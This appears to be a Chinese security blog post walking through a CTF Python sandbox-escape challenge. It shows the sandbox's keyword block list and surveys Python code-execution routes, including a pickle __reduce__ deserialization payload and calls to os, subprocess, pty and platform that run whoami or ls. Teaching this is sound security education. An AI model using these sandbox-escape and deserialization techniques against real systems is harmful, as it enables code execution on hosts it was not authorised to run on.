阅读本文大概需要 6 分钟。
”2020年 第 19 篇文章 ,flag 继续
每周至少更一篇
上一篇的主题是反弹shell剖析,将之前总结的对反弹shel的思考和大家分享一下,希望对大家有帮助。
大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。
有你们的坚持,才有更好的世界。
下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。
前因后果
本篇的主题源于下面的一道CTF题目:python沙箱逃逸,这是一个阉割的Python环境,主要进行了两部分限制:
怎么算逃逸呢? 黑客需要通过输入Python代码来绕过上述的限制,获取shell,执行命令。
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
在正式的CTF比赛中,我们是看不到沙箱源码的,只会提供一个远程的沙箱接口,用来输入代码,有回显其实还好。如果是单纯做题,一般通用的解决思路,大致分为5步:
测试能否导入包
哪些系统包做了限制
内置函数是否可用
是静态检测还是动态检测
对象之间的引用关系探索
只是解决这道题没有什么意思,咱们要从这道题中挖掘一下Python中一些“黑科技”,才是对我们有帮助的。我总结了一下这道题涉及的主要知识点 :
python 如何导包
Python 如何执行代码和命令
Python 文件读取
内置模块
对象创建与引用
实践出真知
(1) eval/exec/execfile
在上文中,已经讲解了exec/execfile的用法。这里再总结一下:
exec(source):动态执行复杂的python代码,函数的返回值永远为None。
execfile(filename):执行一个py文件的内容。
eval用来执行简单的python表达式返回表达式的结果,示例如下:
eval('__import__("os").system("whoami")')
(2) pickle 序列化
import pickle
class A(object):
def __reduce__(self):
import os
return (os.system, ('whoami',))
admin = A()
B = pickle.dumps(admin)
print(pickle.dumps(admin))
# cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.
保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。
import pickle
pickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")
(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。
import timeit
timeit.timeit("__import__('os').system('whoami')",number=1)
(1) os模块
可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:
os.system("whoami")
os.popen('whoami')
(2) commands 模块
print(commands.getoutput('whoami'))
print(commands.getstatusoutput('whoami'))
(3) subprocess模块
subprocess模块是相对比较复杂的,有很多执行命令的函数:
subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。
(4) platform 模块
可以调用platform 模块 中的 popen 这个函数执行命令。
import platform
print(platform.popen('ls',mode='r',bufsize= -1).read())
platform.os.system("ls")
(5) pty 模块
pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。
import pty
pty.spawn('ls')
pty.os.system("ls")
(6) cgi 模块
import cgi
cgi.os.system("ls")
大家细细琢磨还有很多执行命令的方式。。。。。。
出行中,未完待续
敬请期待下篇
原创不易,希望大家能积极分享,点在看
沙盒syscall监控组件:strace and wtrace
无"命令"反弹shell-逃逸基于execve的命令监控(上)
如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。
关注公众号:七夜安全博客
回复【11】:领取Sandboxie源码
回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程
回复【3】:领取 某学院 机器学习 教程
回复【4】:领取 爬虫 教程
回复【5】:领取编译原理 教程
回复【6】:领取渗透测试教程
回复【7】:领取人工智能数学基础
回复【8】:领取 python神经网络 教程
回复【9】:领取 安卓逆向 教程